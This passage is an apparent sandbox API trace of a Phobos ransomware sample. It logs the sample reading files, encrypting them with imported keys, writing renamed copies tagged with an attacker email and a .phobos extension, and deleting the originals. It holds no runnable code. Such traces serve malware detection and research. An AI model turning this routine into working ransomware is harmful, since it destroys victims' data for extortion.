pdwDataLen=0x37af7c8*=0xa0, dwBufLen=0xa0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xa0) returned 1 [0044.027] WriteFile (in: hFile=0x314, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xa0, lpOverlapped=0x0) returned 1 [0044.027] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dca10) returned 1 [0044.027] CryptSetKeyParam (hKey=0x10dca10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0044.027] CryptEncrypt (in: hKey=0x10dca10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50, dwBufLen=0x50 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50) returned 1 [0044.027] CryptDestroyKey (hKey=0x10dca10) returned 1 [0044.028] WriteFile (in: hFile=0x314, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x102, lpOverlapped=0x0) returned 1 [0044.028] CryptDestroyKey (hKey=0x10c8e10) returned 1 [0044.028] CloseHandle (hObject=0x310) returned 1 [0044.028] CloseHandle (hObject=0x314) returned 1 [0044.028] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 1 [0044.066] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0044.136] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0044.136] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0044.163] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=7567) returned 1 [0044.163] CloseHandle (hObject=0x30c) returned 1 [0044.163] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 0x80 [0044.163] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0044.166] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0044.166] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0044.167] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0044.167] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0044.193] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc1d0) returned 1 [0044.193] CryptSetKeyParam (hKey=0x10dc1d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0044.193] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x1d8f, lpOverlapped=0x0) returned 1 [0044.302] CryptEncrypt (in: hKey=0x10dc1d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1d90, dwBufLen=0x1d90 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1d90) returned 1 [0044.302] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x1d90, lpOverlapped=0x0) returned 1 [0044.302] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc190) returned 1 [0044.302] CryptSetKeyParam (hKey=0x10dc190, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0044.302] CryptEncrypt (in: hKey=0x10dc190, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0044.303] CryptDestroyKey (hKey=0x10dc190) returned 1 [0044.303] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0044.303] CryptDestroyKey (hKey=0x10dc1d0) returned 1 [0044.303] CloseHandle (hObject=0x310) returned 1 [0044.303] CloseHandle (hObject=0x31c) returned 1 [0044.303] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 1 [0044.304] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0044.304] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0044.304] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=60816) returned 1 [0044.304] CloseHandle (hObject=0x31c) returned 1 [0044.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 0x80 [0044.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0044.305] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0044.305] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0044.305] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0044.305] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0044.305] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc490) returned 1 [0044.305] CryptSetKeyParam (hKey=0x10dc490, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0044.305] ReadFile (in: hFile=0x31c, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xed90, lpOverlapped=0x0) returned 1 [0044.349] CryptEncrypt (in: hKey=0x10dc490, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xeda0, dwBufLen=0xeda0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xeda0) returned 1 [0044.349] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xeda0, lpOverlapped=0x0) returned 1 [0044.351] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc150) returned 1 [0044.351] CryptSetKeyParam (hKey=0x10dc150, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0044.351] CryptEncrypt (in: hKey=0x10dc150, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50, dwBufLen=0x50 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50) returned 1 [0044.351] CryptDestroyKey (hKey=0x10dc150) returned 1 [0044.351] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x102, lpOverlapped=0x0) returned 1 [0044.351] CryptDestroyKey (hKey=0x10dc490) returned 1 [0044.351] CloseHandle (hObject=0x31c) returned 1 [0044.351] CloseHandle (hObject=0x310) returned 1 [0044.353] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 1 [0044.354] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0044.354] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0044.354] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=3314) returned 1 [0044.354] CloseHandle (hObject=0x310) returned 1 [0044.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 0x80 [0044.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0044.354] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0044.354] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0044.354] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0044.354] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0044.354] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dbf90) returned 1 [0044.355] CryptSetKeyParam (hKey=0x10dbf90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0044.355] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xcf2, lpOverlapped=0x0) returned 1 [0044.366] CryptEncrypt (in: hKey=0x10dbf90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xd00, dwBufLen=0xd00 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xd00) returned 1 [0044.366] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xd00, lpOverlapped=0x0) returned 1 [0044.367] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc250) returned 1 [0044.367] CryptSetKeyParam (hKey=0x10dc250, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0044.367] CryptEncrypt (in: hKey=0x10dc250, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0044.367] CryptDestroyKey (hKey=0x10dc250) returned 1 [0044.367] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0044.367] CryptDestroyKey (hKey=0x10dbf90) returned 1 [0044.367] CloseHandle (hObject=0x310) returned 1 [0044.367] CloseHandle (hObject=0x31c) returned 1 [0044.368] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 1 [0044.369] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0044.369] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0044.369] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=77748) returned 1 [0044.369] CloseHandle (hObject=0x31c) returned 1 [0044.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 0x80 [0044.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0044.369] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0044.369] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0044.369] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0044.369] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0044.369] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc390) returned 1 [0044.370] CryptSetKeyParam (hKey=0x10dc390, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0044.370] ReadFile (in: hFile=0x31c, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x12fb4, lpOverlapped=0x0) returned 1 [0044.380] CryptEncrypt (in: hKey=0x10dc390, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x12fc0, dwBufLen=0x12fc0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x12fc0) returned 1 [0044.380] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x12fc0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x12fc0, lpOverlapped=0x0) returned 1 [0044.381] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc0d0) returned 1 [0044.381] CryptSetKeyParam (hKey=0x10dc0d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0044.381] CryptEncrypt (in: hKey=0x10dc0d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50, dwBufLen=0x50 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50) returned 1 [0044.381] CryptDestroyKey (hKey=0x10dc0d0) returned 1 [0044.381] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x102, lpOverlapped=0x0) returned 1 [0044.381] CryptDestroyKey (hKey=0x10dc390) returned 1 [0044.381] CloseHandle (hObject=0x31c) returned 1 [0044.382] CloseHandle (hObject=0x310) returned 1 [0044.383] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 1 [0044.385] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0044.385] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0044.385] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=82346) returned 1 [0044.385] CloseHandle (hObject=0x310) returned 1 [0044.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 0x80 [0044.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0044.385] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0044.385] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0044.385] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0044.385] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0044.385] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc190) returned 1 [0044.385] CryptSetKeyParam (hKey=0x10dc190, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0044.386] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x141aa, lpOverlapped=0x0) returned 1 [0044.575] CryptEncrypt (in: hKey=0x10dc190, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x141b0, dwBufLen=0x141b0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x141b0) returned 1 [0044.576] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x141b0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x141b0, lpOverlapped=0x0) returned 1 [0044.577] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc410) returned 1 [0044.577] CryptSetKeyParam (hKey=0x10dc410, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0044.578] CryptEncrypt (in: hKey=0x10dc410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50, dwBufLen=0x50 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50) returned 1 [0044.578] CryptDestroyKey (hKey=0x10dc410) returned 1 [0044.578] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x102, lpOverlapped=0x0) returned 1 [0044.578] CryptDestroyKey (hKey=0x10dc190) returned 1 [0044.578] CloseHandle (hObject=0x310) returned 1 [0044.578] CloseHandle (hObject=0x31c) returned 1 [0044.580] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 1 [0044.581] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0044.581] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0044.588] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=86284) returned 1 [0044.588] CloseHandle (hObject=0x310) returned 1 [0044.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 0x80 [0044.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0044.588] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0044.589] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0044.589] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0044.589] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0044.589] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc310) returned 1 [0044.589] CryptSetKeyParam (hKey=0x10dc310, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0044.589] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x1510c, 